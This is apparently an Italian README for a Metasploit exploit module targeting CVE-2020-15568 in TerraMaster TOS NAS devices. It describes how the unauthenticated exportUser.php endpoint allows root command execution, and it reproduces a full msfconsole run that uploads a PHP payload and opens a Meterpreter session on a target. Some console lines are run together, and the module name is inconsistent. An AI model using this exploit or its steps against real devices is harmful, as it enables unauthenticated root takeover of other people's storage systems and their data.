
Repository per il modulo Metasploit CVE-2020-15568
Repository per il modulo Metasploit di CVE-2020-15568
Una vulnerabilità di invocazione dinamica di metodi di classe esiste nel file include/exportUser.php che porta all'esecuzione di comandi remoti sui dispositivi TerraMaster con privilegi di root. Il file vulnerabile richiede che vengano forniti diversi parametri HTTP GET per raggiungere la chiamata al metodo e sfruttare questa vulnerabilità. Alla prima riga, l'applicazione include app.php che carica automaticamente le classi principali pertinenti del software TOS. L'applicazione decide l'operazione in base al valore del parametro GET type. Se il valore della variabile type è diverso da 1 o 2, allora è possibile raggiungere il codice vulnerabile. Nel codice sorgente di exportUser.php, l'applicazione richiede i parametri HTTP GET cla (abbreviazione per class), func e opt.
Durante la revisione del codice anche di altri file, è emerso che esiste un modo per sfruttare questo problema con classi preesistenti nel software TOS. La classe PHP situata in include/class/application.class.php è il miglior candidato per eseguire comandi sui dispositivi che eseguono il software TOS. Poiché exportUser.php non ha controlli di autenticazione, è possibile per un attaccante non autenticato raggiungere l'esecuzione di codice
use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - The target is vulnerable.
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >